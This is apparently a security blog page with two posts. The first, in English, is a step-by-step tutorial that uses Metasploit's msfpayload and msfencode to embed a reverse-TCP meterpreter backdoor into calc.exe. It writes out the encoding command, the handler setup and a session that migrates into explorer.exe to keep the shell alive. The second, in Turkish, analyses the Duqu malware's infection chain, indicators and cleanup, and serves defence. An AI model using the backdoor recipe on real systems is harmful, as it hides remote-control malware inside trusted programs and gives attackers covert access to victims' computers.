23 Mart 2012 Cuma

Msfencode a Msfpayload Into An Existing Executable

This update allows you to msfencode a msfpayload into an existing executable and the new executable still function like the original. So if you inject into calc.exe you get calc.exe and your backdoor.

let's see the new msfencode options:

~/trunk$ ./msfencode -h

Usage: ./msfencode

OPTIONS:

-a The architecture to encode as
-b The list of characters to avoid: '\x00\xff'
-c The number of times to encode the data
-e The encoder to use
-h Help banner
-i Encode the contents of the supplied file path
-k Keep template working; run payload in new thread (use with -x)
-l List available encoders
-m Specifies an additional module search path
-n Dump encoder information
-o The output file
-p The platform to encode for
-s The maximum size of the encoded data
-t The format to display the encoded buffer with (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war)
-x Specify an alternate win32 executable template

Let's make our new backdoored executable.

~/trunk$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.210.11 R | ./msfencode -t exe -x calc.exe -k -o calc_backdoor.exe -e x86/shikata_ga_nai -c 5
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 372 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 399 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 426 (iteration=5)

Get the backdoored exe on the other box and execute it. We have a functional calc.exe and our shell.


msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.210.11
LHOST => 192.168.210.11
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.210.11:4444
[*] Starting the payload handler...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 3 opened (192.168.210.11:4444 -> 192.168.210.11:51695)


Keep in mind that you'll still need to migrate away from the backdoored executable process because if they close the exe you lose your shell.

meterpreter > getuid
Server username: WINXPSP3\user
meterpreter > run migrate explorer.exe
[*] Current server process: calc_backdoor.exe (3360)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 1592
[*] New server process: Explorer.EXE (1592)
meterpreter > getuid
Server username: WINXPSP3\user
meterpreter > getpid
Current pid: 1592
meterpreter >

7 Mart 2012 Çarşamba

DUQU: Yeni Nesil Keşif Uçağı

Arkadaşımın da izniyle onun makalesini burada yayınlıyorum.

Günümüzün saldırı araçlarından biri olan Stuxnet gibi nükleer enerji santrallerine veya diğer kritik altyapı hizmeti sunan endüstriyel kontrol sistemlerine yönelik saldırılar yapan virüslerin tespit edilmesi ile önemini tekrardan hatırladığımız zararlı yazılımların, bir başka örneği ile karşı karşıyayız: W32.Duqu. Ya da diğer bilinen isimleri ile TROJ_SHADOW.AF, TROJ_DUQU.ENC, TROJ_DUQU.DEC, Mal/Duqu-A, RTKT_DUQU.A virüsü. Bu virüsün kaynak kodu incelendiğinde ve dinamik analizi yapıldığında herkesin hem fikir olduğu konu şu: “Duqu’nun yazarları, ya StuxNet virüsün yazarları ile aynı ya da Stuxnet virüsünün kaynak kodunu inceleme imkanı bulmuşlar”[1]. Verdiği zarar göz önüne alındığında Stuxnet kadar tehlikeli olmayan bu virüs, hedefleri açısından değerlendirildiğinde Stuxnet virüsünden çok daha büyük tehdit içermektedir. Stuxnet ile büyük benzerlikler içeren Duqu virüsünün hedefi Stuxnet de olduğu gibi sistemlere zarar vermek değil, endüstriyel kontrol sistemleri hakkında bilgi toplamak. Diğer bir deyişle, Stuxnet silahını yalnızlıktan kurtarmak ve benzerlerinin oluşturulması için keşif çalışması yapmak.
İlk olarak, 14 Ekim 2011 tarihinde, Budapeşte Teknoloji ve Ekonomi Üniversitesi, Kriptografi ve Sistem Güvenliği Laboratuvarı(CrySyS) tarafından tespit edilen virüse, bu ismin verilmesinin nedeni; virüse ait tuş kaydedicinin “~DQ...” ile başlayan geçici bir dosya oluşturmasıdır. Duqu virüsünün amacı ise gelecekteki atakları daha rahat yapabilme adına endüstriyel kontrol sistemleri ve çalışma mekanizmaları hakkında bilgi toplamak gibi gözükmektedir. Yani Duqu virüsünün kaynak kodu endüstriyel sistemlere yönelik herhangi bir kod parçacığı içermiyor. Şu an için elde edilen örnekler, teknik detaylarından genel olarak bahsedeceğimiz bu virüsün, temelde bir truva atı RAT(Remote Access Trojan)- olduğunu göstermektedir.

Yüklenme Süreci Nasıl?  Yayılırken Hangi Açıklığı ve Sertifikayı Kullanıyor?

Virüsün şu an için bilinen bulaşma yöntemi, çok klasik bir saldırı yöntemi: elektronik posta oltalama saldırısı. Fakat incelenen bir örnekte, gönderilen elektronik posta’ya eklenmiş olan Microsoft Office Word dosyasının Duqu virüsünü yükleyebilmek için kullandığı açıklık ise daha önce bilinmeyen kod çalıştırmaya izin veren bir sıfırıncı gün çekirdek açıklığı. Bu açıklık ile ilgili Microsoft tarafından ilk açıklama 3 Kasım 2011 tarihinde, yani geçen hafta yayınlanmıştır. CVE numarası 2011-3402 olarak yayınlanan açıklık bilgisinde, “Win32k TrueType font parsing” motorunda aşağıdaki tabloda listesi verilen işletim sistemlerinin çekirdeklerinde, kod çalıştırmaya izin verebilecek bir açıklığın bulunduğu belirtilmiştir. [2]



Konunun çok dağılmaması için bu açıklığa ait teknik detayı bir başka yazımıza bırakıyoruz. Neticede Duqu virüsü yayılmak için Microsoft’un, CrySys’nin Ağustos ayındaki uyarısı üzerine farkettiği ve 3 Kasım 2011 tarihinde insanları bilgilendirdiği bir açıklığı kullanmaktadır.
Tehlikenin boyutunu tekrardan hatırlatan diğer bir önemli nokta ise şudur: Stuxnet’de olduğu gibi Duqu örneklerinde de sürücü dosyanın, merkezi Taipei, Taiwan’da bulunan bir şirkete ait olan, dijital bir sertifika ile imzalanmış olması. Söz konusu sertifika 2 Ağustos 2012 tarihinde geçerliliğini kaybedecekti fakat virüs ile ilgili açıklamalardan sonra 14 Ekim 2011 tarihinde sertifika iptal edildi. [1]
Şekilde e-posta yolu ile gönderilen ve söz konusu açıklığı kullanan Word dosyasının Duqu virüsünü nasıl yüklediği gösterilmiştir.[3]



Şekil 1. W32.Duqu Yükleme Süreci  

Kısaca, yukarıdaki şekli açıklayalım: Duqu virüsü, 3 ana bileşenden oluşmaktadır: Sürücü Dosya(Driver File), DLL (İçerisine birçok dosyanın yerleştirildiği) ve yapılandırma dosyası(Configuration File). Bu dosyaların yüklenebilmesi için ayrı bir exe dosyası yükleyici olarak kullanılmaktadır. Yükleyici dosya, sürücü dosyayı servis olarak kaydetmektedir. Bu işlem, sistem çalışması başlatıldığı anda, virüsün çalışmaya başlaması için gerekli olan bir işlemdir.  Daha sonra sürücü dosya, ana DLL’i services.exe’ye enjekte etmektedir. Bu noktadan sonra DLL, diğer bileşenleri çıkarır ve bu bileşenler diğer işlemlere enjekte olurlar. Böylelikle Duqu virüsünün aktiviteleri gizlenmiş olur.[1]
İncelenen Duqu örneğinde bulaşma yöntemi olarak söz konusu açıklık ve e-posta oltalama saldırısı kullanılmaktadır fakat saldırganların Duqu virüsünü bulaştırmak için kullandığı başka yöntemlerin olup olmadığı bilinmemektedir. Duqu virüsünü, Conficker(Downadup, Kido) gibi  tehlikeli diğer virüslerden farklı kılan bir diğer özelliği şu an için elde edilen virüslerin kendi kendisini kopyalamıyor olması. “Kopyalayamıyor” olması değil “kopyalamıyor” olması. Yani Duqu virüsü kendisinin bir kopyasının üretmemektedir. Diğer bir deyişle bir solucan değildir. Fakat C&C(Command and Control) sunucusu tarafından yönlendirilerek, ağ paylaşımları üzerinden diğer bilgisayarlara bulaştırılmaktadır. Duqu virüsünün C&C sunucuları ile haberleşmesinde direkt olarak bağlantıların sunucuya açılması yöntemi değil, noktadan noktaya C&C modeli ile haberleşme yöntemi kullanılmaktadır. Yani, yeni ele geçirilen bilgisayar, bir önceki bilgisayar üzerinden haberleşmektedir. Böylelikle Duqu, olası bir anormal ağ trafiğinin tespit edilmesi tehlikesini de atlatmaktadır. Duqu aynı zamanda vekil sunucu atlatmak için de farklı rutinler kullanmaktadır. Fakat bu varsayılan yapılandırmada yoktur. [1]         

Sistemde Yaptığı Değişiklikler Neler?

Virüs çalıştırıldığında aşağıdaki işlemleri gerçekleştirmektedir[4].
Şu dosyalardan bir veya daha fazlası oluşturulmaktadır:
tablo-2.jpg
   Tablo 1. Duqu'nun Oluştuduğu Dosyalar
Register değerlerinde yaptığı değişiklik ise şu şekildedir, aşağıdaki registiry subkey’leri oluşturulmaktadır:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\JmiNET3
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\cmi4432
Duqu sistemde yaptığı değişiklikler neticesinde, saldırgana klasik bir truva atı gibi arka kapı açmaktadır. Bu arka kapı üzerinden saldırgan, virüsün yayılması ve bilgi edinme adına klasik diyebileceğimiz şu işlemleri gerçekleştirmektedir: elde edilen bilgisayardaki çalışan işlemleri, hesap bilgilerini, paylaşım bilgilerini, kritik altyapı sistemleri için hazırlanmış dökümanlari ve verileri, klavyeden gelen girdileri inceliyor ve elde edilen bilgileri C&C sunucularina gönderiyor.
Duqu virüsünün iletişime geçtiği C&C sunucularının IP adresleri 206.183.111.97 ve 77.241.93.160 olarak tespit edilmiştir. Bu IP adreslerine sahip sunucu bilgisayarlar sırasıyla Hindistan ve Belçika’da bulunmaktadır. Duqu bu sunucularla beklendiği üzere HTTP ve HTTPS bağlantıları üzerinden irtibata geçiyor. Şu anda bu IP adreslerine sahip sunucu bilgisayarlar aktif değil fakat elde edilen örneklerde bu bilgisayarlardan başka C&C sunucularına da rastlanmış değil.[2]
Son olarak varsayılan ayarlarda, Duqu bulaştığı bir sistemde kendisini 30 gün boyunca saklıyor. Daha sonra kendisini siliyor. Yani C&C sunucusu ile irtibat noktasında problemlerle karşılaşıldığında veya başka sıkıntılarla karşlışıldığında Duqu tespit edilmemek için kendi kendini imha ediyor.

Enfekte Olmuş Bilgisayarlar Nasıl Anlaşılır?

Bu soruyu cevaplandırmadan önce dünya üzerinde enfekte olmuş organizasyonlardan bahsedelim. Symantec Firmasının, 1 Kasım 2011 tarihinde güncellediği, Duqu için hazırlamış olduğu “Security Response” raporuna göre, 8 ülkede 6 kuruluş Duqu virüsünün bulaştığını doğrulamaktadır. Bu 6 kuruluşun ismini vermeden A,B,C,D,E,F kuruluşları dersek, bu kuruluşların ülkeler göre dağılımı şu şekildedir:
  • A Kuruluşu: Fransa,Hollanda,İsviçre,Ukrayna
  • B Kuruluşu: Hindistan
  • C Kuruluşu: İran
  • D Kuruluşu: İran
  • E Kuruluşu: Sudan
  • F Kuruluşu: Vietnam
Diğer güvenlik firmaları ise Avusturya, Macaristan, Endonezya, Büyük Britanya ülkelerindeki bazı kuruluşların ve İran’da D ve C kuruluşlarından başka kuruluşların da etkilendiği raporunu vermişlerdir.  
Sonuç olarak, Stuxnet gibi en çok İran’daki kuruluşlar etkilenmiş fakat henüz Türkiye’den bir kuruluşun etkilenip etkilenmediği doğrulanmamıştır. Henüz tespit edilmesinin üzerinden bir ay geçmiş olan bir zararlı yazılımın, Türkiye’de henüz var olup olmadığının bilinmemesi gayet normaldir. Diğer ülkeler için olduğu gibi bizim için de büyük bir tehlike arz etmektedir. Hatta var olan tehlikeyi farketmemiş olma durumumuzda söz konusu olabilir.  
Bilgisayarlarımızın enfekte olup olmadığını nasıl anlayacağız sorusuna dönersek: yukarıda bahsettiğimiz dosyaların oluşturulup oluşturulmadığını kontrol etmek ve ilgili register değişikliklerini kontrol etmek mantıklı olabilir. Fakat yukarıda teknik detaylarına bir miktar değindimiz Duqu virüsünün, sadece bir çeşidi üzerinden ve varsayılan ayarlar göz önünde bulundurularak bu bilgiler verilmiştir. Yani söz konusu değişikliklerin yapılmamış olması bilgisayarımızın kesin olarak enfekte olmadığı anlamına gelmemektedir. Kesin olarak enfekte olmadığı bilgisine ulaşmak mümkün olmamakla beraber, Budapeşte Teknoloji ve Ekonomi Üniversitesi, Kriptografi ve Sistem Güvenliği Laboratuvarı(CrySyS) tarafından geliştirilmiş olan ağ ve kişisel bilgisayarlara yönelik tarama yapan Duqu tespit aracı(*) kullanılabilir. Tabii ki böyle dosyalar bulunduğu zaman panik yapmaya gerek yok. Ama şunu unutmamak lazım: sadece ilgili dosyaları silmek yeterli olmayabilir, hatta bu dosyaları silmeden önce iyi bir analiz yapabilme ve tehlikenin boyutlarını görebilme adına uzmanlarla irtibata geçmek daha iyi bir çözüm olacaktır.

Nasıl Önlem Alırız ve Nasıl Temizleriz?

Şu an için elimizdeki örnekleri, genelde güncellemesini almış AntiVirüs programları zararlı dosya olarak tespit edip siliyor. Antivirüs firmalarına ait Power Eraser(**) araçlarını çalıştırmak problemi çözebilir. Fakat Symantec firmasının da önerdiği gibi, eğer Windows sistem dosyası da enfekte olmuş ise –ki yüksek ihtimal ile olmuştur- Windows’u yeniden kurmakta fayda var.
Henüz zarar görmemiş bilgisayarların alması gereken önlemler ise herhangi bir virüse karşı alınması gereken önlemlerden farksız. Yani, sistem güncellemelerini ve antivirus güncellemelerini zamanında yapmak, gereksiz dosya paylaşımlarını kapatmak, autorun özelliğini devre dışı bırakmak, gereksiz olan portları kapatmak, kullanılan harici disklere dikkat etmek.
Bütün bunların yanında en çok dikkat etmemiz gereken ise gelen zararlı içerikli e-postalara tıklamamak. Yazımızda da belirttiğimiz üzere, Duqu’nun yayılması için kullandığı açıklık, Microsoft’un henüz yamasını yayınlamadığı ve 12 Aralık 2011 tarihine kadar yayınlamayı planladığı bir açıklık. Dolayısıyla kullanıcı tarafında e-posta’nın zararlı içeriği engellenmez ise, işletim sistemi, antivirüs programları Duqu’nun yayılmasını şu an için önleyemeyecektir.

DUQU Bir APT (Advanced Persistent Threat) midir?

Son olarak APT kavramının ne olduğunu kısaca anlatıp, yazımızı bitirelim.
Advanced Persistent Threat (APT), ileri seviyede ve uzun süreli tehditler içeren zararlı yazılımlar için kullanılan bir tabirdir. APT’lerin en temel özellikleri şu şekildedir:
  1. İleri seviyede oldukları için, profesyonel kadro, kurumlar ve teknik imkanlar gerektirir.
  2. Kalıcı ve yaşam sürelerinin uzun olabilmesi için, geçerli sertifikalar ile imzalanma ve sıfırıncı gün açıklıkları ile yayılma gibi tespit edilmesini engelleyecek teknikler kullanmaları gerekmektedir.
APT kavramı kısaca bu şekildedir. Duqu APT midir sorusunun cevabını da, Stuxnet ile Duqu’yu kısaca karşılaştırdıktan sonra size bırakacağım.
Stuxnet ile neredeyse tamamen aynı olan Duqu virüsünün tek farkı taşıdığı silahtır (payload). Duqu sistemlere yönelik keşif yaparken Stuxnet zarar vermektedir. İkisinin de geçerli sertifikalar kullanıyor olması, sıfırıncı gün (zero-day) açıklıkları ile yayılıyor olması ve İran tarafında görülmesi önemli ortak özellikleridir.
Kısacası, Duqu; Stuxnet tarzı APT’ler için bir keşif uçağı niteliğindedir. İlk uçuşlarını da yine enteresan bir şekilde İran taraflarına yapmıştır. Peki Stuxnet’den önce Duqu gibi bir keşif aracı var mıydı? Henüz böyle bir araç tespit edilememiştir[2]. Belki de, keşif uçağının yapısı Stuxnet ile ciddi benzerlikler gösterdiği için, Stuxnet’in başarısız olma ihtimalinden korkulmuş ve Duqu ve Stuxnet beraber faaliyete geçirilmiştir. Tabii ki bunlar sadece gerçekliği bilinmeyen iddialardır. Ama unutulmaması gereken bir gerçek vardır ki: Duqu ile birileri keşif yapıyor ve herkesin yeni Stuxnet gibi APT’lere hazırlıklı olması gerekiyor.    

Eğer Yazıyı Beğendiyseniz Aşağıdaki Google Reklamını Tıklamanızı Rica Ediyorum.

Dipnotlar:

(*): Bahsedilen araç ve kullanımına ait detaylar şu adresten temin edilebilir:
http://www.crysys.hu/duqudetector.html
(**): Symantec firmasının Power Eraser aracı ile bilgi edinmek için şu adresi kullanabilirsiniz:
http://www.symantec.com/security_response/writeup.jsp?docid=2011-101814-1119-99&tabid=3

Referanslar:

[1] W32.Duqu:The precursor to the Next Stuxnet,Security Response,Symantec
[2] http://technet.microsoft.com/en-us/security/advisory/2639658
[3] http://www.symantec.com/connect/w32-duqu_status-updates_installer-zero-day-exploit
[4] http://www.symantec.com/security_response/writeup.jsp?docid=2011-101814-1119-99&tabid=2